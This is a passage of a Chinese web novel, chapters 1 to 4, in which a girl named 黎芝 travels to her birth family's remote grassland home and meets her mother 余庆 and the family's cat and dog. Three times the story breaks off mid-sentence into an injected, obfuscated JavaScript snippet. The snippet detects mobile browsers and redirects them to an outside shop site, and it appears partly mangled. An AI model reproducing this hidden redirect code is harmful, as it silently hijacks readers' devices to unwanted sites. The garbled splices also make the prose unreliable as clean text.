《荔枝的牧场慢生活》 1. 第 1 章 马车摇晃得实在太厉害了。 黎芝伸出左手,紧紧抓住自己随身的行李。 她余下的另一只手,则是为了固定自己的身体,而抓紧了马车边上的某个不知名部件。 度过摇晃得特别厉害的这一段之后,黎芝感到自己此时的处境平稳了一些。 但她仍然不敢放开手,总觉得自己可能随时都会被甩下去。 尽管,这种感觉,可能只是黎芝的错觉而已。 马车会摇晃得这么厉害,并不是车本身的问题。 单纯是因为路况太差罢了。 意识到这个问题时,黎芝忽然感到非常悲观。 虽然坐在马车上的时候,体验已经极差了。 但是,接下来自己要面临的麻烦,恐怕还多着呢。 (毕竟,等同是被赶走的嘛。面临这样的处境,也不算是完全的意料之外……) (虽然感情不算很好,但好歹也一起生活了那么长时间。突然赶走我的话,也未免太过绝情了吧?至少,该派人护送我到“新家”一程才对……算了,抱怨这些,也不会对现状有所改善的。) (想开点儿好了。毕竟,“他们”其实也不是那么糟糕的双亲吧……) 或许与震动中的马车有关。 马车上,在黎芝的心中,不满与释然这两种感情,仿佛也跟着波动了起来、并且交战了片刻。 过了一会儿,不满败下阵来,释然获胜了。 因此,黎芝的内心,也逐渐回归了平静。 “到了,下车吧。”马车夫的声音响起,“请注意安全。” (这就到了?) 黎芝的心情很紧张,也不知道能不能用“近乡情怯”来形容。 总之,黎芝不太想离开马车与商队。 但若想继续待在上面的话,也实在不太现实。 “谢谢你的提醒。下车之后,我该往哪里走呢?”黎芝问道。 她环顾四周时,内心感到极度不安。 这里,完全就是所谓的“荒郊野外”那种地方吧? 既不是遍地牛羊的牧场,也不是阡陌交通的村落。 除了这条勉强可供马车行驶的、崎岖不平的道路之外,眼前目之所及,皆是茫茫荒草。 对于不擅长辨认方位的人来说,这种地方真是令人不安到了极点。 幸好,黎芝还不算这种人,但也没好到哪里去就是了。 “我也不清楚,你就一直往东走吧。”马车夫轻描淡写地说道,“那边应该就一两户人家而已。我也不知哪家是你家。下车之后,你还是自己打听吧!” “好,我知道了。谢谢你哦。”黎芝点点头。 虽然黎芝的心里充满了不安,但她不想给别人添麻烦,就决定下车之后慢慢碰运气了。 简短的对话结束后,黎芝拎起行李,便跳下了马车。 (哎呀,腿都麻了……) 黎芝觉得,自己的腿一时都不听使唤了。 也不知是久坐、还是长期颠簸的缘故。 下车时的那一跳,本以为会很轻松,却差点震得黎芝当场摔倒。 她只好把行李先扔在一旁,按摩了半天,腿脚才恢复知觉。 在黎芝给自己揉腿的时候,马车早就走了。 幸好她在私人财产方面看得很紧,应该没有把什么东西遗落在车上。 (话说,哪边是东啊?也不说一声就跑了……马车夫也不不负责任了吧。) 刚一下车,就面临了迷失方向的风险,黎芝对此感到懊恼。 早知如此,应该在下车之前,询问清楚这方面的情形才对。 事到如今,后悔也晚了。 幸好现在是中午,而且是个晴天。 此时的太阳,很大、很明亮。 黎芝抬起头来。 她观察了一番太阳与影子的方向、角度等方面,勉强判断出了东方的位置。 但这毕竟只是以太阳作为参照物的判断而已,前进时出现偏差也丝毫不奇怪。 黎芝只能“祈祷”自己选择的前进路线没有错误了。 毕竟,在这种荒凉而又陌生的地方行动的话,只是方向稍微错误一点儿的情况,就可能是“差之毫厘,谬以千里”的大问题了。 因此,看着眼前的“草甸子”,黎芝不由得产生了淡淡的绝望感。 这种一望无际的草场,她还是第一次见到呢。 面积大得吓人就算了。 上面生长的野草,也长得特别地高。 作为女性,黎芝应该并不算是矮小的类型。 但眼前这些肆意生长的野草,高的那部分,居然比黎芝的头顶还要高。 (这些草长得也太高了……简直可怕。) 对黎芝来说,此时唯一值得欣慰的事情是,这种会长得比人还要高的草并不多。 遇到这种草的时候,只要动手稍微拨开,就能继续走下去了。 但这点儿欣慰,也不过是因为,黎芝发现,自己现在的处境,比想象中最坏的状况,多少还要好一点点罢了。 简直堪比“苦中作乐”。 (话说,现在是夏天诶,这里不会有蛇吧?) 想到这一可能性的时候,黎芝不由得提心吊胆起来。 有些不妙。 这里,竟然连一根可以驱赶毒蛇的树枝都捡不到。 幸好,因为在这次长途旅行开始前就做了一定准备的缘故,黎芝的身上一直穿着布料结实的衣裤和鞋子。 穿着这样的衣服鞋子走路的话,在草原上应该会安全一些。 黎芝再度确认了自己的着装。 她有理由相信,诸如毒蛇虫鼠之类的有害生物,钻进或咬穿自己衣物的可能性并不算高。 (好,走吧!) 黎芝努力地、在心里鼓励着,多少有些动摇的自己。 独自走在这种陌生荒凉的地方,黎芝的心里也非常紧张。 因此,这样走路时,黎芝一度想用唱歌来壮胆。 但她实在是不习惯这样做。 才刚一开口,还没出声,黎芝就又闭了嘴。 要是秋墨也在这里就好了。 想到秋墨的时候,黎芝的心中涌上无奈、不甘与淡淡的感伤。 上次相见的那一次,竟然就是最后的一面。 不知不觉间,两人间的缘分已经断绝了。 但在断绝之前的时刻,黎芝对这一点却毫无察觉。 真没想到,未来竟然会变成这个样子。 若是早点知道就好了。 如果早就知道分离这一结果的话,至少在那之前,能够不留遗憾地告别。 虽然黎芝伤感了片刻,但之后,她又重新振作了起来。 若是有缘,即使错过,终会重逢。 若是无缘,命当如此,不可强求。 想起这样的信念时,黎芝感觉到,自己的心情又轻松了一些。 过去的日常种种,已经犹如逝水,无法返回。 现在的自己,要过的是一种全新的生活。 尽管前路渺茫无助,此刻也只能竭力前行。 她继续向前走去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376543|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>(算起来,已经走上一盏茶时间了吧……我现在选择的方向,到底对不对啊?) 黎芝不安地抬起头来,再度确认太阳与影子的位置。 最终,她还是觉得自己前进的方向应该没什么错误。 因此,虽然心中十分焦虑不安,黎芝还是继续走了下去。 黎芝的体力与腕力,在女孩子里都算是近乎顶尖的程度。 所以,虽然拎着沉重的行李走了好一阵子,她也只是觉得脚有点酸麻而已。 甚至可以认为,这腿脚上的酸软无力,也是因为之前在马车上坐得太久了吧? 走路感觉有些累,也许并非是体力耗尽的体现。 继续这样走了大概一炷香时间之后,黎芝总算有了今天的首个重大收获。 一些灰黄色的低矮物体,在青豆色的草场上,繁复杂乱地排列开来。 虽然感觉上怪怪的,但那些物体,看起来的确是建筑物的模样。 (房子?!而且是一长排房子?!) 黎芝的心中,先是涌上了明快的喜悦感。 随后,她又由于紧张、焦虑等缘故,心情变得有些低落起来。 朝着那些房子的位置走过去的话,黎芝越是前进、看到的景象就越是清楚。 仔细一看,这些颜色有些奇怪的房子,并非是黎芝下意识认定的“砖瓦房”。 不过,这也难怪。毕竟,这些房子在颜色上,就完全不像是砖瓦结构了。 但是,让黎芝惊愕的是,它们甚至都不算是“木制的小屋”。 这些房子的本来面目,乃是在黎芝的认知中,如同传说般遥远的“草屋”。 虽然明确地知道,世界上是存在“草屋”这种事物的。但是,亲眼目睹到它们的时候,黎芝还是感到相当震惊。 可以说,黎芝此时的心情,相当地复杂混乱。 面临的情况,其实比她所期待、预料的差得多,但又比黎芝想象中,最糟糕的可能性要好上不少。 看到这些草屋之前,黎芝甚至真的有过,“自己将来可能要在帐篷里生活”的这种担心呢。 尽管黎芝还是很悲观,但想到至少比她最担心的境况好上一些,心情总算又放松了少许。 依然不知能不能用“近乡情怯”来形容这种感觉。 总之,越是靠近那些草屋,黎芝的紧张与焦虑,就越是变得严重。 想到自己从今天开始,就要待在这种荒野般的地方,与几乎完全陌生的“家人”一起生活了……黎芝那惶恐不安的心情,逐渐攀升到了极点。 简单来说,她简直快要吓死了。 对黎芝来说,今天的此时此刻,就恐慌程度而言,实在、简直是前所未有的激烈。 她甚至想转身逃回大路上,等待并拦下随便一辆回京的车,就这么再搭车回去好了。 固然,原本的家已经没有黎芝的位置了。 但京城那么大、那么繁荣,总会找到一两个“包吃包住”的工作吧? 而且,在找到工作之前,也可以寻求要好同学的帮助。 比如说,秋墨…… 打住。 (能不能别再想他了!) (你想让他看到你这么狼狈的样子吗?) (至少让他只记得你最美好的一面吧,这样对彼此都好……) 心理斗争一番之后,黎芝无意识地抿紧了嘴唇。 她艰难地迈开双腿,朝着那一排茅草屋走了过去。 勇气不知何时早已消失殆尽,支持着状态近乎麻木的黎芝行动的,是她仅余的自尊心。 2. 第 2 章 决定这么做的时候,感觉上似乎十分痛苦。 但是,一旦心态麻木,走过去这件事,也就没那么艰难了。 “你好——”与草屋还有一定距离的时候,黎芝就开口了。 虽然,之前并不觉得有什么异样。但一开口,她忽然发现自己的声音变得干涩而又沙哑。 (是因为已经几个时辰没喝水了的关系吗?但之前在马车上的时候,明明声音还很正常的……算了。) 对于“自己的嗓音”这个本就不太重要的问题,黎芝放弃了深究。 “……有人吗?”黎芝僵硬地站在了一座草屋的前方。 会选择站在这里的理由,并不是因为,黎芝认为这座草屋里有人的可能性最高。 而仅仅是因为,黎芝信步走过来的时候,碰巧距离这座草屋最近罢了。 实际上,黎芝已经做好“要挨个草屋询问过去”的心理准备了。 但就在这时…… “你找谁?”黎芝正前方那座草屋的门,突然开了。 这种由草编织而成的门,打开的时候,居然会让人听不到声音。 因此,草屋的门打开的时候,也显得格外突兀、吓人一跳。 门竟然就在自己面前开了。 黎芝完全没有想到这一点,因而备受惊吓。 她本能地往后倒退了几步,还因此差点失去平衡而摔倒。幸好,最后还是稳住了。 从草屋里走出来的,是一位中年女人。 她浓眉大眼、身材高大。 虽然并不是温婉亲切的女子,但中年女人具有一种狂野、顽强、充满生命活力的气质。 这些特征,让充满存在感的她,同样能散发出独特的吸引力。 中年女人这样的人,是黎芝迄今为止的生活中,几乎完全不曾出现过的类型。 由于惊讶,黎芝目不转睛地望着对方。 此时,黎芝的心中,充满了“不可思议”这种感觉。 眼前的这位中年女人,让黎芝感到新鲜,但又奇异地带有熟悉的印象。 虽然不知道原因,但黎芝感到,自己的心在胸膛中怦怦地跳动了起来。 不过,对中年女人那一方来说,黎芝这种纤细、清秀、优雅而甜美的女孩子,应该同样是她从未见识过的类型吧? “你找谁呀?”中年女人问道。 从听到的第一句话,可以判断出中年女人的声音,原本是高亢响亮的类型。 但在看到黎芝的时候,她的声音自然而然地轻柔温和了许多。 “我……那个……”黎芝回答的声音显得很笨拙。 事到如今,黎芝才发现,自己这一路走来,居然连“组织语言、说明情况”这么重要的事情,都忘记计划了。 偏偏,现在面临的,又是黎芝极不熟悉的情形,不能靠感觉与习惯作答。 因此,黎芝不由得,变得结结巴巴了起来。 “小姑娘,别怕。”中年女人以带有温柔抚慰感的声音说道,“我不是坏人,也不着急。你不要紧张,可以慢慢地、想好了再说。” “我找栗原他家。”黎芝终于恢复了冷静,十分简短地说道,“我是栗原他家失散多年的‘女儿’,是来认亲的。您知道他们家在哪里吗?” 中年女人沉默不语,她极为惊讶地望着黎芝。 中年女人此时的目光似乎十分复杂,让黎芝难以解读。 由于紧张,她不由得后退了几步。 “那个……请问您认识栗原家的人吗?”黎芝又再问了一遍。 黎芝很慌张,难道自己找错地方了吗? 还是说,栗原家其实是一般人并不认识的人家? 无论哪种情况,都会让黎芝十分困扰的。 但中年女人的话,却中断了黎芝的猜想。 “当然认识啊。”也许是被吓呆了,中年女人有些木然地说道,“因为,我是栗原的妻子余庆。” “啊?真的吗?”思绪变得混乱的黎芝,提出了颇为愚蠢的问题。 (怎么能问人“真的吗?”呢,这么愚蠢的问题,是不应该问的……) 黎芝有些懊恼。 “对,是真的哦。”余庆幅度很小地点了点头。 “这、这样啊……”黎芝继续愚蠢地回答着。 这样太过于轻易地、获得了自己想要的结果的话,反而让黎芝不知道接下来该怎么办才好了。 虽然本来就是为了相认而来的,但黎芝其实还没有做好关于这件事的心理准备。 本以为生身父母需要寻找一段时间,但却一下子就遇到了。 这个结果,让黎芝心神紊乱。 余庆沉默地注视着黎芝。 对方的目光,所中包含的情绪十分复杂,但黎芝不觉得那是纯粹的母爱。 如果是母爱的话,本来应该是一种对孩子无条件接纳的感觉。 但余庆的目光,却让黎芝觉得对方仿佛在戒备自己似的。 黎芝总觉得,余庆对待自己的态度,还不如最初不知身份的时候,对身为“陌生人”的黎芝的态度自然和蔼呢。 (虽然也不是不能理解“她”的这种心情,但果然有点伤心……) 黎芝有些沮丧。 气氛一时僵硬了起来。 “那个……我怎么称呼您才好呢?”黎芝很是为难地问道。 如果黎芝没有搞错的话……对面的余庆,应该就是自己的“生身母亲”这一存在了。 虽然,几乎可说在出生之后就一次也没有交流过,但血缘上的关系,理应不会消失才对。 只是……虽然亲子之间的维系,是天然存在的;但亲子之间的情感,却是后天培养起来的。 从未相处过的亲人之间,恐怕并没有真正的亲情可言。 至少,在黎芝的感觉中,亲情不应是那么廉价的事物。 因此,想要获得“亲情”的话,就需要双方花费未知的时间,进行“重建”了。 “嗯……你怎么顺口就怎么叫吧。”余庆严肃地稍作思考之后,如此回答。 (怎么顺口就怎么叫?) 对于余庆的话,黎芝感到有些为难。 之前的人生中,黎芝对自己的“养母”,都是称之为“母亲”或“母亲大人”的。 但如果也用同样的称谓、称呼自己这位素未谋面的生母的话,黎芝总觉得不太对劲,太不自然了。 “我可以叫您‘妈妈’吗?”思忖了一阵子,黎芝用商量般的口吻询问道。 听到“妈妈”这两个字的时候,余庆愣了一下。 在极短暂的时间中,余庆微微皱起了眉。 但幸好,她的眉头很快又舒展开来。 虽然神情舒展了一些,但不知为何,在黎芝的感觉里,总觉得此时的余庆,带有一种拒人于千里之外的冷漠感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376544|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>或许是黎芝还没有获得对方真正认可的缘故吧。 “可以。也不用对我用‘您’来称呼,用‘你’就好了。”余庆说道,“女儿啊,你还没告诉我,你的名字呢。” 女儿? 突然被对方用“女儿”来称呼,黎芝总觉得很是奇怪。 大概,这是因为,对方不知道黎芝的名字,因而也不能从中提取出“昵称”来称呼她的缘故吧。 “我还以为……”黎芝苦笑了一下,腼腆地说道,“到这里之后,我会被起一个新的名字。因此,过去的名字是什么,都无所谓了呢。” 黎芝没有在最初自报姓名,也的确是抱着这个想法。 她之前真的认为,自己过去叫什么,对新的家人来说并不重要。 来到新家之后,自己会被赋予新的名字。 但现在看来,似乎并不是这样。 黎芝的心情有些复杂,不知道该不该高兴。 不能更换一个新的名字的话,就总感觉“没有真正地进入新生活”似的。 但若是真的被更换名字的话,对黎芝来说,感觉也是有些困扰的。 毕竟,黎芝已经用了这个熟悉的名字十几年了嘛。 若是要记住并熟悉一个新名字、并对新名字形成“条件反射”般的反应的话,应该会花费很长的时间吧。 “这个问题,也许要参考一下我的丈夫、你的‘爸爸’的意见,才能最终定夺吧。”余庆神色严肃地说道,“但照我的看法,你的名字改不改都无所谓。我们为你起一个新名字并不容易,而你要适应它也要耗费很长的时间。不如先使用旧名字,这样你方便,我们也省事。当然,如果你想要换一个新名字,来帮助自己适应新生活,我当然也绝对不会反对。” 余庆的话语,让黎芝感到惊奇。 黎芝惊奇的,不仅仅是母亲建议自己保持原名这件事,那也许只是嫌麻烦罢了。 让黎芝真正惊奇的,是外貌稍显粗豪的母亲,说起话来,居然也有颇为文雅的一面。 虽然,从外表上看,完全是不能相提并论的类型。 但是,就语言表达、思维能力等方面来看的话,余庆与黎芝的养母,倒也大差不差。 差别肯定是有的,但没有黎芝所想象的那么大。 甚至……不知道是不是血缘的偏爱所致,黎芝甚至觉得自己的亲生母亲,好像比养母更为聪明。 黎芝本来已经做好了,与愚昧粗鲁的新家人共同生活的准备的。 此时遇到却是这样的状况,这让她多少感到了意外以及惊喜。 看来,自己过去所处的阶级与环境太过于狭窄,认知局限性也太强了。 从现在开始,要逐渐更新自己的认知,直到与现实尽量趋于一致。 这样一来,才能更好地适应新家庭与新生活吧? 黎芝认真地检讨着自己过去的错误。 而且,在此时此刻,黎芝的心中,抱有一种近似“涅磐新生”的热情。 “我叫黎芝。”不知不觉间,黎芝恢复了那种清澈悦耳、似颗颗珠子散落玉盘的音质,她以美丽的声音补充说道,“黎明的黎,芝麻的芝。” 其实是“芝兰玉树”的芝。 但要在当下,说出这个要特意解释才容易明白的词汇的话,会让黎芝觉得,实在有些不好意思。 果然还是“芝麻”这么“接地气”的词语,更符合眼下的情境吧。 3. 第 3 章 听到黎芝解释自己名字的意思之后,余庆淡然地点了点头。 母亲似乎没有特别关心,黎芝名字中寓意的意思。 黎芝认真解释了一番后,她不仅没有客套的夸奖赞美几句,甚至好像都懒得做出什么反应似的。 不得不说,余庆的这种反应,是会让黎芝感到有些受挫的。 (也许是我太敏感了吧……) 黎芝这个名字,虽然也没有特别独特、典雅或是高明的感觉,但至少,很多人在听到之后,都会随口对她赞美一句“可爱”的。 余庆却没有这么做的意思,真让黎芝感到有些不习惯。 虽然,真正的母女之间,本就不需要什么“客套”才对。 但不被人虚伪地“客套”一番的话,黎芝的心里还是会多少感到别扭的。 毕竟,黎芝对“能否被生身父母认同”这件事,非常敏感、患得患失。 黎芝甚至觉得,自己由于太过于在乎余庆的态度,已经到了连正常思考都会受到影响的程度了。 为了防止思绪进一步错乱下去,黎芝正努力转变自己看待事情的视角与方式。 比方说,余庆会让黎芝感到疏远,也许并不是因为不高兴、不耐烦、或是对黎芝不喜欢,而是基于更单纯、无心的理由。 有可能是这样的吗? 比如说……或许,牧民这种人,本就是比起装模作样,更习惯于冷淡漠然吧。 抑或,只是余庆个人的性格比较冷淡? 如果考虑到这样复杂的可能性的话,那就实在很难搞懂余庆的心情了。 而且,黎芝非常强烈地怀疑,直接询问余庆的话,也不会获得自己想要的答案的。 算了,还是不要深究这种事了。 黎芝无奈地决定放弃这个越来越让自己钻牛角尖的思考。 考虑一些其他的事情吧。 虽然是想这么做,不过母女之间那奇怪的感觉,实在很难忽略过去。 这仍然是由于余庆在得知黎芝身份之后,就突然变得不怎么爱说话、对黎芝抱有某种戒心的缘故。 因此,她现在与黎芝之间的气氛,仍然十分生硬紧张。 (这种僵局,或许只是我的错觉而已……) 黎芝并不怎么信任自己的感觉。 她有时觉得,会怀疑余庆对自己没有好感、反而抱有戒心,这也许并不是余庆的问题,而是自己的“被害妄想”吧。 总之,事已至此,黎芝也只得决心努力缓和僵局。 (还是试着和余庆聊聊名字的事情吧……) 想到自己的名字,黎芝便有些百感交集的感觉。 “‘妈妈’可以叫我‘荔枝’啊。”黎芝平静认真说道,“我过去用的姓氏,与‘爸爸’的姓氏,本来就很接近。而且,我上学的时候,同学也喜欢叫我‘荔枝’的……” “‘荔枝’是什么意思?”余庆疑惑地问道。 原本神色一直严肃得接近木然的余庆,在听到黎芝话语中的关键词的时候,竟然流露出了某种疑似“好奇”的情感。 这或许是缓和的迹象吧?黎芝多少安心了一些。 “‘荔枝’是一种在南方树上结的水果哦。”黎芝很紧张地说道,“外面是一层硬皮,最中央是一个黑色的核。皮与核之间,有一层白色半透明的果肉,滋味清甜,很好吃的。” “果然是一种‘东西’的名字啊。”余庆放松地说道,“我说的么?听起来,并不是你把姓氏从‘黎’改成‘栗’之后,得到的简单发音组合,而似乎具有某种明确的‘意思’。我之前就这么觉得了。” “是的。”黎芝依然很紧张地说道,“因为我的名字‘黎芝’本身就与‘荔枝’谐音,所以过去同学们经常用‘荔枝’称呼我。我觉得,爸爸和妈妈用‘荔枝’这个名字来称呼我,也很合适啊。” “那个……以后再说吧。”也许是因为稍稍萌生的好奇心得以满足的关系,余庆的神色又再缓和了一些,她又再问道,“你现在有何打算?到某个屋子里面休息,还是参观一下你的‘新家’呢?” 只有这两个选项吗?黎芝感到不太安心,但她也不知道该在此时提出什么要求为好。 “妈妈带我参观一下我的新家吧。”像荔枝果肉般柔润清甜的声音响起,黎芝有些笨拙地做出了选择。 “行李就先放在这里吧。”余庆指着一处地面,说道,“我们这里的人,是不会乱动别人的东西的。再说,这里几个时辰,也未必会路过另一个人……” 看着余庆所指的地面,黎芝却是面有难色。 那一片地面上,并没有长草。 那是暴露在外、像是沙土地一样粗糙的土地。 也许余庆认为,相比草地,沙土地更为干净吧? 但对黎芝来说,可不是这样。 她素来有些洁癖,虽然手中的行李一直经历风吹日晒,也不算干净的物件了。 但使得行李有些脏的原因,只是因为上面有浮灰或是风沙而已,并不是真的不卫生。 因此,就这样直接把行李丢在地上的话,黎芝的心里肯定是有些排斥、难以接受的。 “我觉得有些脏……”黎芝最终还是鼓起勇气,对余庆这么说道。 余庆愣了一下,似乎是没想到,京城里长大的少女会这么矫情、洁癖的关系吧。 幸好,面对由于洁癖而矫情的黎芝,余庆的态度比起嫌弃反感,更多的像是困惑不解、甚至试图去包容。 这比黎芝担忧的相处方式,可是健康多了。 “那就拿到屋里来吧。屋里的地上有草垫子。”余庆伸出了手,又再说道,“给我吧。我给你拿进去好了。” 这应该已经算是余庆的妥协了。 反正这个行李也是不怎么干净的……黎芝说服了自己,把手里的行李递了过去。 “谢谢妈妈。”黎芝柔声说道。 余庆接过黎芝手里的行李,转身进了草屋,放下就走了出来。 “下次不用说谢谢。”余庆说道,“一来,这种事情实在太小了,根本不值得一谢。二来,咱们是母女,道谢的话就太见外了。” 虽然说是母女,但也只是血缘上的母女啊。 黎芝又一次心想,亲情本来就是培养出来的。 从未培养过亲情这种特殊感情的二人,关系顶多也只会比初次见面的继母与继女亲近少许吧? 硬要把初次见面的母女关系,说成本来就是天然亲近的一家人的话,只会让黎芝感到很有些苦恼而已。 黎芝的性格,本来就有些怕生。 而且,黎芝的直觉总是告诉她,余庆并没有口头上表现出来的那么喜欢女儿。 强调“太见外了”,也只是因为觉得“应该这样说”而已。 或者说,一直在身边养大的女儿,是喜欢的。 余庆不喜欢的女儿,只是黎芝而已。 意识到余庆可能抱有的真实心情之后,黎芝就变得更加怕生畏缩了。 (这可不行……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376545|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要振作一点……) 黎芝命令自己转换想法,但这么做也并不容易。 “你怎么了?”余庆打量着呆呆地站在那里的黎芝,问道,“你看起来好像很难受,是饿了吗?” “没有。”黎芝摇摇头,说道,“我现在不想吃饭,妈妈。” 虽然应该是饿了,但黎芝完全没有“想吃东西”的心情。 她只是由衷地感到非常疲惫,却又不想休息而已。 “那么,就先和我走吧。”余庆说道,“简单地看看,选择一下你想要的屋子吧。” 最初,黎芝没有理解余庆的意思。 黎芝以为,余庆的意思是说,这里一长排的屋子,大部分都是有用处的。 但实际参观之后才明白,这里的屋子虽然多,但大部分都和空屋子没什么区别。 充其量,不过是作为仓库,堆着些杂物罢了。 但大部分屋子里堆积的物资,也不足以单独占据一间屋子,看起来很浪费。 据余庆说,到了“剪羊毛”这一类事情的时间,仓库需要装的东西就很多了。 现在只是不需要库存出产物,所以才有那么多的空房间而已。 这个家里,有一只叫“小黑”的猫。 它几乎全身都是黑的,但是爪子、耳朵尖与尾巴尖的部分是白色的。 这大概就是所谓的“乌云踏雪”毛色了。 这种毛色的话,可能是好猫吧?黎芝不太清楚。 黎芝有些害怕动物,很排斥与动物接近。 上学时,她的同学大都会养一两只宠物。 而黎芝却十分排斥动物,排斥到了只要谁邀请她去家里玩,她都一定要打听、确认对方的房间里没有养宠物才行。 如果对方养了宠物的话,黎芝就会百般推脱不愿意去。 倒也不是什么动物都不行的意思。 如果是鱼的话,黎芝就觉得无所谓,鸟也还好。 但会跑来跑去,特别是会蹭人腿的动物,黎芝接触到它们的时候就会吓得乱跺脚。 不过,黎芝也清楚,住在乡下的话,不养猫是不行的。 毕竟,虽然黎芝很讨厌养宠物,但是相比起来,猫至少还比老鼠可爱多了。 所以,只是有“小黑”的话,黎芝还可以接受。 但这个家里,还有一只非常大的黄狗,叫做“阿黄”。 阿黄看起来非常强壮,有黎芝的腰那么高。 毛也非常长,拖着两只耷拉的长耳朵、和一条让人联想起狼的长尾巴。 阿黄的脖子上,戴着一只很宽的项圈,但却没有连着锁链或绳子。 所以,这项圈戴上是为了什么?真搞不懂,可能是担心阿黄的脖子受到攻击吧。 而且,黎芝最害怕的动物就是狗了。 对猫,黎芝还只是微微的排斥而已。 对狗,那就是完全的畏惧、乃至恐怖了。 “它咬人吗?”黎芝十分恐惧地望着阿黄,因为太害怕了,她直接缩在余庆的身后。 “肯定咬人啊!”余庆很自然地说道,“完全不咬人的狗,养来怎么看家呢?” 余庆这一句话出口,黎芝就沉默了下来。她真不知道这句话要怎么接。 “我怕狗。”黎芝无奈地说道,“妈妈,你能让它不咬我吗?” 余庆似乎试图安慰黎芝,解释道:“它不咬家里人。” “那我算不算是‘家里人’呢?”黎芝很困惑地问道,“它能认识我吗?” 4. 第 4 章 “会认识的哦。”余庆颇为乐观地说道,“要是你担心它记不住你的话,就亲自喂喂它吧。它一旦记住你的气味和模样,就不会把你当‘外人’对待了。” (这附近有什么适合喂狗的食物吗?我好像没有发现……) “喂喂它?”黎芝眨眨了眼睛,又再问道,“我应该喂它什么?” 考虑“喂狗”这件事的时候,黎芝想起,自己的行李里,就有五香味的肉干。 但是,用这么珍贵的食物喂狗,实在太奢侈了吧?黎芝内心中舍不得这么做。 好在余庆也没有这样的意思。 “什么都可以。”余庆轻松地说道,“如果你不知道喂它什么,那就喂张饼吧。” 说完之后,余庆回去了草屋之中。 因为草屋很小的关系,余庆找东西的速度当然也就很快。 转身的功夫,余庆就拿出了一块黑黄色的东西,递给黎芝。 黎芝捏了捏,只觉得手里的东西又干又硬。非但不像肉饼,感觉连油都没有放。 “这是什么?”黎芝知道这是饼,但不清楚这是什么饼。 “这是杂粮饼子。是我们用来喂狗的东西。”余庆摇摇头,略带无奈地说道,“你可别吃它,不好吃的。” “嗯,但我没有想吃啊……”觉得自己被误解了,黎芝有点尴尬。 若是没到绝境的程度,黎芝再饿也不会吃这种东西的。 光是看颜色和手感,黎芝就对它很没有食欲了。 而且……先不提口感与卫生问题,黎芝真心怀疑,咀嚼这种东西,会导致牙床疼痛的。 “你不吃就好,快拿去喂狗吧。”余庆鼓励般地说道,“别怕,有我在呢,它不会咬你的。” “不是……我是想问问……”黎芝局促不安地说道,“喂狗的食物,只有这种杂粮饼子吗?喂狗不应该用骨头的吗?” 余庆看向黎芝,笑了起来。 但黎芝没有笑,她不太高兴。 不知是不是黎芝的感觉,她总觉得,余庆的笑容里有一种轻视的味道。 不过,倒也未必如此。也许余庆只是单纯觉得很有意思罢了。 于是,黎芝努力地把自己感觉到的轻视,解释成是自己过于敏感、想多了的缘故。 平时的黎芝,其实不是这样敏感多疑的性格,相反颇为单纯。 她现在会这样思考,也是有原因的。 在陌生的环境下,与陌生的家人相处,这实在会让人的神经紧绷不已。 而且,短时间内,简直完全无法改变这一点。 “咳,哪有那么多骨头啊?大小姐真是不知人间疾苦啊。”余庆苦笑一般无奈地说道,“给狗喂骨头,那是你们城里人才有的习惯吧?我们乡下人家的狗,就没有这么好的待遇啰。其实,它们平时吃的,还不如这个饼子高级呢。” “这样啊。”余庆的话,让黎芝很忧郁。 她越来越真切地体会到,自己的生身父母家,很可能是很穷的一家人。 黎芝会考虑这件事,当然并没有嫌弃自己家贫穷的意思。 她只是担心自己的到来,对这个家的经济造成某种负面影响而已。 算了,这种事以后再说。 先喂狗吧。 “阿、阿黄……”黎芝结结巴巴地呼唤着黄狗的名字。 对一般人来说,喂狗多半是一件很简单的小事情吧。 但对黎芝来说,这件事可比让她接连参加几十次考试还要难。 光是靠近阿黄这件事,就已经到了“时刻都要消磨黎芝的意志力”的程度了。 她每走一步,都需要劝说、安抚自己不要紧张,告诉自己这件事是很安全的,才能继续下去。 这可真让人为难。 战战兢兢地、伸出拿着杂粮饼子的手的时候,黎芝已经觉得,自己几乎吓得“魂不守舍”了。 如果阿黄吃饼子的时候,会连同自己拿饼的手一口咬住,甚至撕扯到重伤的话,该怎么办才好?黎芝总不由得有这样的担心。 尽管,这种担心多半只是杞人忧天而已。 但是,对怕狗的人来说,接近狗这件事,真的就是那么恐怖。 不得不做之前,难免会让人控制不住地展开遐想。 况且,黎芝有生以来,还没接触过这么大的狗呢。 以前遇到的宠物狗,只比板凳大上一圈而已,都能吓到黎芝。 而像阿黄这么大的狗的话,对黎芝来说,喂它所造成的恐惧感,真的已经是与喂狼没多大区别了。 不过……虽然在黎芝的想象中,可能会发生无比恐怖的事情。但现实中,却什么也没有发生。 阿黄看起来,是非常温顺老实的狗。 